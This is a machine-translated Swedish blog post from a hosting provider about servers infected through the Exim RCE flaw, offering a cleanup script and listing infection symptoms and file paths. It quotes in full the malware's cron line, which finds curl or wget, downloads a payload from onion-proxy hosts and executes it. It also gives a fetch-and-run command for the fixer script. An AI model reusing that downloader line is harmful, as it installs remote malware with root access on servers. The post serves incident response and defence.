Den första vÄgen av offer för Exims sÄrbarhet. Manus för behandling

RCE-sÄrbarhet i Exim har redan gjort ett rejÀlt plask och har ganska slitit nerverna hos systemadministratörer runt om i vÀrlden.

I spÄren av massinfektioner (mÄnga av vÄra kunder anvÀnder Exim som e-postserver) skapade jag snabbt ett skript för att automatisera lösningen pÄ problemet. Skriptet Àr lÄngt ifrÄn idealiskt och Àr fullt av suboptimal kod, men det Àr en snabb stridslösning för att undvika att utföra samma ÄtgÀrder pÄ hundratals eller till och med tusentals servrar.

Fungerar pÄ servrar med operativsystem Centos, RHEL, Debian, Ubuntu om du har en Exim-e-postserver installerad.

Hur förstÄr man att servern har blivit hackad?

Kontrollera pÄgÄende processer med det översta kommandot.
Infekterade servrar upplever 100 % belastning som genereras av [kthrotlds]-processen. En uppgift med begrÀnsade redigeringsrÀttigheter lÀggs ocksÄ till i cron-schemalÀggaren.

Varningsavsnitt

Alla infektionsincidenter vi stötte pĂ„ var helt identiska; den andra och tredje vĂ„gen kan skilja sig Ă„t, och skriptet kan behöva modifieras för dem. Vid infektionstillfĂ€llet gĂ„r cron-jobb oĂ„terkalleligt förlorade och mĂ„ste Ă„terstĂ€llas manuellt. Skriptet vidtar omedelbara Ă„tgĂ€rder – det uppdaterar oförskrĂ€ckt Exim till patchade versioner, i hĂ€ndelse av Centos 6 Ă€ven frĂ„n testarkivet. Skadlig kod-instans finns i minnet, sĂ„ servern nödvĂ€ndigtvis du mĂ„ste starta om omedelbart efter rengöring av kronorna.

Viktigt: SÄrbarheten tillÄter att kod exekveras som root, vilket inte ger nÄgon garanti för 100 % ÄterstÀllning. Med root-Ätkomst till servern kan du dölja nÀstan vad som helst pÄ denna server, sÄ att det blir nÀstan omöjligt att hitta det. Det enda sÀttet att garantera ett fullstÀndigt botemedel för servern Àr genom en fullstÀndig ominstallation, men detta Àr inte alltid möjligt. Om det inte finns nÄgot sÀtt att installera om servern, och symptomen sammanfaller med de som beskrivs, kan du försöka att snabbt tÀppa till hÄlen med det hÀr skriptet.

Genom att anvÀnda skriptet gör du det pÄ egen risk och risk: vi testade skriptet pÄ ett antal servrar, men det finns alltid risker för inkompatibla programversioner eller motstridiga instÀllningar.
Dessutom lÄter vÄrt skript dig bota endast en av de möjliga implementeringarna av infektion - det Àr möjligt att det redan finns andra sÀtt att utnyttja sÄrbarheten som inte har kommit till vÄr kÀnnedom.

Vad gör manuset?

1. Om operativsystemet Àr installerat pÄ servern:

  • ĐĐ” Centos 6 uppdateringar Exim, ominstallerar curl.
  • Centos 6 — uppdaterar Exim frĂ„n EPEL-testarkivet (utgĂ„va till standardarkivet förvĂ€ntas 11-12.06), ominstallerar curl.

2. Kontrollerar efter infektion pÄ servern.

Skriptet analyserar schemalÀggarjobb för misstÀnkta inneslutningar.Till exempel dessa:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

2a. Om det finns spÄr av ett virusskript i mappen /etc, gör följande

  • stoppar cron
  • dödar en process som startas av ett virusskript
  • dödar curl wget sh processer fyra gĂ„nger (lanseras av viruset enligt ett schema)
  • rensar postkön pĂ„ alla brev (infekterade brev Ă€r svĂ„ra att skilja frĂ„n ofarliga, sĂ„ hela kön mĂ„ste raderas)
  • TillĂ„ter borttagning av filer som innehĂ„ller fragment av ett skadligt skript:
    /etc/cron.daily/cronlog
    /etc/cron.d/root
    /etc/cron.d/.cronbus
    /etc/cron.hourly/cronlog
    /etc/cron.monthly/cronlog
    /var/spool/cron/root
    /var/spool/cron/crontabs/root
    /etc/cron.d/root
    /etc/crontab
    /root/.cache/
    /root/.cache/a
    /usr/local/bin/nptd
    /root/.cache/.kswapd
    /usr/bin/[kthrotlds]
    /root/.ssh/authorized_keys
    /.cache/*
    /.cache/.sysud
    /.cache/.a
    /.cache/.favicon.ico
    /.cache/.kswapd
    /.cache/.ntp
    
  • tar bort dessa filer
  • tar bort autorun-jobbet i /etc/rc.local
  • tar bort angriparens nyckel frĂ„n de tillĂ„tna ssh-nycklarna
  • startar cron
  • och startar om servern omedelbart

2b. Om det inte finns nÄgra spÄr av infektion avslutas skriptet.

Förtydliganden

Viruset tar bort alla jobb med cron-schemalÀggare. Efter omstart av servern mÄste de dÀrför konfigureras om eller ÄterstÀllas frÄn en sÀkerhetskopia.

curl blir ocksÄ infekterad med ett virus, sÄ det installeras om.

En omstart (skriptet utför det automatiskt efter behandling) Àr obligatoriskt - annars lagras skadlig programvara i serverns minne och reproducerar sig sjÀlv var 30:e sekund Àven efter borttagning av infekterade filer.

Hur anvÀnder man det?

Traditionellt: innan du börjar, se till att du har en uppdaterad sÀkerhetskopia av dina serverdata.

SÄ hÀr kör du skriptet:

Anslut till servern via ssh som anvÀndare med root-rÀttigheter. Du kan ocksÄ anvÀnda Shell-klienten i panelen ISPmanager - Verktyg.

I terminalen anger du kommandot:

wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh

VÀnta tills skriptet Àr klart och servern startar om.

Efter omstarten, kontrollera driften av servern och webbplatser/applikationer som finns pÄ den, konfigurera om eller ÄterstÀll cron-uppgifter frÄn sÀkerhetskopiering.

Och slutligen

I huvudsak Àr manuset tillfÀllig lösning För att ÄterstÀlla serverns funktionalitet, för garanterat förebyggande, Àr den bÀsta lösningen att byta till en ny server med en version av operativsystemet som inte lÀngre innehÄller sÄrbarheten.

Alla rekommendationer för att förbÀttra/omarbeta manuset Àr vÀlkomna. Om du stöter pÄ ett annat symptom pÄ infektion, vÀnligen visa det. Samarbete i ögonblick av massinfektioner minskar avsevÀrt den tid som behövs för att eliminera dessa infektioner.

Lycka till!

UPD1: Lades till github.
Jag laddade ocksÄ upp kÀllkoden för skadlig kod, som jag lyckades ta ut frÄn den infekterade servern..

KĂ€lla: will.com

Köp pĂ„litlig hosting för webbplatser med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster